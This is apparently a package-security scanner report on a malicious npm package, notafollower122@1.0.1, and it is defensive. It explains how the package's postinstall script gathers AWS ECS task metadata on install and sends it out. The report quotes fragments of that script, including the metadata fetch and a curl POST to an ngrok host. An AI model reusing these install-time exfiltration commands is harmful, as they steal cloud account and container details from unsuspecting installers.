notafollower122@1.0.1: Malicious npm security report (Block)

AI Security Review

scanned 2d ago · by lpm-firewall-ai

Installation automatically collects ECS task/container metadata and sends command output off-host. No user action beyond npm installation is required.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm postinstall during package installation

Impact

Leaks cloud account, cluster, task, and container-image metadata to an attacker-controlled endpoint.

Mechanism

ECS metadata harvesting piped to external HTTP POST

Attack narrative

On installation, the postinstall shell command requests ECS task metadata, formats ownership and container details, then pipes all output to curl for POSTing to an external ngrok endpoint. This is unconsented install-time cloud-environment reconnaissance and exfiltration.

Rationale

Direct source inspection confirms an install-time metadata collection and external exfiltration chain. The package has no other source files establishing a legitimate package function.

Evidence

package.json

Network endpoints2

ECS_CONTAINER_METADATA_URI_V4+'/task'mourner-slot-explicit.ngrok-free.dev

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-14035

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in notafollower122 (npm)

Details

package.json declares a postinstall lifecycle script that runs automatically on `npm install`. The script uses child_process to query the AWS ECS container metadata endpoint (ECS_CONTAINER_METADATA_URI_V4/task), which returns the cluster name, AWS account ID, task ARN, and container image list for the installer's ECS task, then POSTs the response body to the hardcoded ngrok tunnel https://mourner-slot-explicit.ngrok-free.dev via `curl -X POST... --data-binary @-`. The package ships only package.json with no source, build artifacts, or documented functionality, so the postinstall has no legitimate purpose. The destination is an anonymous, mutable ngrok tunnel with no relationship to any publisher — the shape of cloud-environment reconnaissance and exfiltration against AWS ECS installers.

References

OSV advisory PACKAGE PACKAGE PACKAGE PACKAGE PACKAGE PACKAGE PACKAGE

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json defines an automatic postinstall command.
The command queries the ECS task metadata endpoint via ECS_CONTAINER_METADATA_URI_V4.
Its output, including task and container metadata, is POSTed to an external ngrok host.

Evidence against

Package contains only package.json; no legitimate runtime source or documented purpose is present.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chainNo supply-chain packaging signals triggered.

Manifest

NoLicense

scanned 0 file(s), 0 B of source

Source & flagged code

4 flagged

package.jsonView file

•scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4+'/task').then(r=>r.json()).then(d=>{console.log('=== TASK OWNERSHIP REPORT ===');console.log('Cluster:',d.Cluster);console....

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4+'/task').then(r=>r.json()).then(d=>{console.log('=== TASK OWNERSHIP REPORT ===');console.log('Cluster:',d.Cluster);console....

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"postinstall": "node -e \"fetch(process.env.ECS_CONTAINER_METADATA_URI_V4+'/task')

High

Suspicious Lifecycle Evidence

package.json defines an automatic postinstall command.

package.jsonView on unpkg · L5

5\" | curl -X POST 'https://mourner-slot-explicit.ngrok-free.dev' --data-binary @-"

High

Ai Review Evidence

Its output, including task and container metadata, is POSTed to an external ngrok host.

package.jsonView on unpkg · L5

Source & flagged code

4 flagged · loading source

package.jsonView file

•scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4+'/task').then(r=>r.json()).then(d=>{console.log('=== TASK OWNERSHIP REPORT ===');console.log('Cluster:',d.Cluster);console....

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4+'/task').then(r=>r.json()).then(d=>{console.log('=== TASK OWNERSHIP REPORT ===');console.log('Cluster:',d.Cluster);console....

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"postinstall": "node -e \"fetch(process.env.ECS_CONTAINER_METADATA_URI_V4+'/task')

High

Suspicious Lifecycle Evidence

package.json defines an automatic postinstall command.

package.jsonView on unpkg · L5

5

Findings

1 Critical3 High2 Low

CriticalRed Install Lifecycle Scriptpackage.json

HighInstall Time Lifecycle Scriptspackage.json

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencepackage.json

LowScripts Present

LowNo License